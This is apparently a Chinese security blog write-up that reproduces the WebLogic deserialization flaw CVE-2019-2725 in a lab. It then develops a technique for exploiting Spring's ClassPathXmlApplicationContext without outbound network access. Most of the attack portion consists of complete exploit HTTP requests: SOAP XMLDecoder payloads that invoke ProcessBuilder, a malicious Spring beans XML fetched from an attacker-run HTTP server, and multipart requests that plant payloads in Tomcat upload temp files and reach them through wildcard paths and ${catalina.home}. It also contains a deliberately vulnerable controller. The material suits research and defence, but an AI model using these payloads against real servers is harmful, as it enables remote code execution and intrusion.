通过CVE-2019-2725对ClassPathXmlApplicationContext不出网的思考
编辑CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。影响版本 :weblogic 10.x weblogic 12.1.3。
使用Vulfocus平台进行复现,进入镜像管理,搜索漏洞镜像,下载镜像。
下载好以后启动镜像并访问。
可以访问/_async/AsyncResponseService,则存在漏洞
/_async/AsyncResponseService?info查看网站路径 。
找到路径后,可以直接使用payload构造数据包。其中执行一个命令为将whoami输出的结果写入到文件servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico中。
POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:29618
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
发送数据包,查看状态码,请求成功,看容器中是否写入该文件。
成功写入。
接下来用另一种方法,就是通过ClassPathXmlApplicationContext引用外部xml进行二次反序列化执行代码。先写一个恶意xml,代码如下:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value><![CDATA[whoami > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico]]></value>
</list>
</constructor-arg>
</bean>
</beans>
同样也是将whoami输出的结果写入到文件servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico中,但是是通过xml构造恶意构造的 Spring Beans 配置文件。
在文件目录启动http服务,ipconfig当前主机ip,用当前机器ip访问。
构造payload,引用com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext,并填入要引用的xml地址。
。
POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:29618
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext</string><void>
<string>http://10.30.1.88:8000/111.xml</string>
</void></class>
</java>
</work:WorkContext>
</soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
请求数据包成功,xml也成功请求到。
成功执行命令。
ClassPathXmlApplicationContext在很多漏洞中都存在这个类的身影,但是ClassPathXmlApplicationContext不出网的话怎么利用?首先先看看ClassPathXmlApplicationContext类定义:
ClassPathXmlApplicationContext 是Spring框架中用于加载XML配置文件并初始化应用程序上下文的一个类。它是 ApplicationContext 接口的实现,负责实例化、配置和组装对象。这个类从类路径下读取配置文件,为Spring容器提供配置信息,并管理定义的bean。
ClassPathXmlApplicationContext
可以从类路径加载XML配置,并管理其中的bean:
我们有一个Student
类:
public class Student {
private int no;
private String name;
// standard constructors, getters and setters
}
我们在classpathxmlapplicationcontext-example.xml
中配置了一个Student
bean,并将其添加到类路径中:
<beans ...>
<bean id="student" class="com.baeldung.applicationcontext.Student">
<property name="no" value="15"/>
<property name="name" value="Tom"/>
</bean>
</beans>
现在我们可以使用ClassPathXmlApplicationContext
加载XML配置并获取Student
bean:
@Test
public void testBasicUsage() {
ApplicationContext context
= new ClassPathXmlApplicationContext(
"classpathxmlapplicationcontext-example.xml");
Student student = (Student) context.getBean("student");
assertThat(student.getNo(), equalTo(15));
assertThat(student.getName(), equalTo("Tom"));
Student sameStudent = context.getBean("student", Student.class);
assertThat(sameStudent.getNo(), equalTo(15));
assertThat(sameStudent.getName(), equalTo("Tom"));
}
先写一个带有漏洞的类,用来调用ClassPathXmlApplicationContext并启动:
package com.example.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.lang.reflect.Constructor;
@Controller
public class IndexController {
@ResponseBody
@RequestMapping("/index")
public String index(String name, String arg) throws Exception {
Class<?> clazz = Class.forName(name);
Constructor<?> constructor = clazz.getConstructor(String.class);
Object instance = constructor.newInstance(arg);
return "done";
}
}
访问/index,并抓包,传入ClassPathXmlApplicationContext类和远程xml文件:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
数据包:
GET /index?arg=http://10.30.1.88:8000/222.xml&name=org.springframework.context.support.ClassPathXmlApplicationContext HTTP/1.1
Host: 127.0.0.1:8080
Sec-Fetch-Dest: document
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Sec-Fetch-User: ?1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Accept-Language: zh-CN,zh;q=0.9
直接弹出计算器,成功执行命令。
这是在受害者主机可出网的情况下能够直接利用,如果是在不出网的情况下怎么利用该利用链呢?
首先,我们先了解下php和java的文件上传缓存机制:
1. PHP 上传缓存
缓存目录:/tmp(Linux)或 C:\Windows\Temp(Windows),文件名如 phpXXXXXX.tmp
缓存机制:
文件上传时,PHP 先将数据包存入临时文件,脚本处理后再移动或删除。若上传中断(如连接关闭、脚本超时),临时文件可能残留。
无接口上传缓存:
直接发送 不完整 的 HTTP 文件上传请求(如强制中断),PHP 仍会生成临时文件但无法清理,导致缓存残留。
2. Java 上传缓存
缓存目录:
Tomcat:$CATALINA_BASE/work/Catalina/localhost/upload_*
Spring:默认系统临时目录(如 /tmp)
缓存机制:
容器(如 Tomcat)或框架(如 Spring)先将上传数据写入临时文件,处理完成后删除。若请求未完成(如异常终止),文件可能残留。
无接口上传缓存:
发送 不完整 的 multipart/form-data 请求,容器仍会生成临时文件但未触发清理逻辑。
3.为何无上传接口仍有缓存文件?
协议层行为:
HTTP 文件上传(multipart/form-data)被服务器/容器解析时,无论是否存在处理接口,数据包会先写入临时文件。
中断残留:
上传未完成(如网络断开、请求被劫持)时,临时文件未被删除。
利用方式:
结合文件包含漏洞,执行残留的临时文件(如 PHP 的 /tmp/phpXXXXXX 或 Java 的 upload_*)。
来实践一下java的文件上传缓存,将上面的数据包改成上传数据包,实际操作一下即使没有上传接口是否有文件缓存。
发送修改的数据包,打开Process Monitor,可以看到这个临时文件创建和销毁的过程,说明修改成上传数据包确实存在临时文件。
那知道了可以上传临时文件,那说明也可以引用该文件进行执行命令等操作,但是这个文件名名称是随机的,引用的时候并不知道文件名叫什么,但是没办法引用了吗?知识点来到了通配符这个地方:
ClassPathXmlApplicationContext 是 Spring 框架中的一个应用上下文实现,用于从类路径加载 XML 配置文件。当需要加载多个配置文件时,可以使用通配符来简化配置。
基本用法
1. 使用单个配置文件
ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
2. 使用多个配置文件
ApplicationContext context = new ClassPathXmlApplicationContext(
new String[] {"applicationContext.xml", "applicationContext-dao.xml"});
使用通配符
Spring 支持 Ant 风格的通配符模式来匹配多个配置文件:
1. 基本通配符
ApplicationContext context = new ClassPathXmlApplicationContext("classpath*:config/*.xml");
这会加载类路径下所有 config 目录中的 .xml 文件。
2. 多级目录通配符
ApplicationContext context = new ClassPathXmlApplicationContext("classpath*:com/example/**/*-context.xml");
这会加载 com/example 及其子目录下所有以 -context.xml 结尾的文件。
3. 组合使用
ApplicationContext context = new ClassPathXmlApplicationContext(
new String[] {"classpath*:config/*.xml", "classpath*:services/*-service.xml"});
通配符说明
* - 匹配任意数量的字符(不包括路径分隔符)
** - 匹配任意数量的字符,包括路径分隔符(用于匹配多级目录)
? - 匹配单个字符
classpath*: - 前缀表示搜索所有类路径位置(包括 JAR 文件)
classpath: - 前缀表示只搜索第一个匹配的类路径位置
这里就不做代码分析,网上有ClassPathXmlApplicationContext 通配符的相关代码分析,就不断点一点一点看了,代码逻辑是判断请求的路径中有没有星号或者问号这些通配符标识,有的话就会遍历目录中根据通配符设定格式相匹配的所有文件,现在构造一个文件上传包,在请求体中加入恶意的xml代码:
POST /index?name=org.springframework.context.support.ClassPathXmlApplicationContext&arg=file://C:/Users/*/AppData/Local/Temp/tomcat.8080.4591636753791226070/**/*.tmp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQHqrX0rFhAxqYKCz
Content-Length: 141
------WebKitFormBoundaryQHqrX0rFhAxqYKCz
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
------WebKitFormBoundaryQHqrX0rFhAxqYKCz--
java的URL本身就支持http/ftp/file等协议,那么可以加载本地文件,直接命令执行成功。
那么又有一个问题来了,对于不同环境不同方式启动的Tomcat,缓存路径也各不相同,有没有什么办法能让payload适配所有环境?
CATALINA_HOME 是一个环境变量,用于指示 Tomcat 服务器的安装目录路径。设置这个变量的目的是为了方便使用和管理 Tomcat 服务器。
将ClassPathXmlApplicationContext断点后可以发现有环境变量的解析,传入环境变量catalina.home。
到这里会查询this.source中的所有环境变量,并取值。
最终获取到值。
那我们可以直接通过传入环境变量来获取缓存文件路径,修改数据包,${catalina.home}中特殊字符要进行url编码:
POST /index?name=org.springframework.context.support.ClassPathXmlApplicationContext&arg=file://%24%7bcatalina.home%7d/**/*.tmp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8CrNfoP2K7OUA4na
Content-Length: 324
------WebKitFormBoundary8CrNfoP2K7OUA4na
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
------WebKitFormBoundary8CrNfoP2K7OUA4na--
发送数据包请求,成功执行命令。
不出网利用成功。
相关链接:
Java利用无外网(下):ClassPathXmlApplicationContext的不出网利用 | 离别歌
ClassPathXmlApplicationContext不出网利用
bmth_notes/Weblogic反序列化漏洞.md at c8cbae0bbe251fc02ad13719f6fa063f5d8b1dea · bmth666/bmth_notes
- 6
- 0
-
分享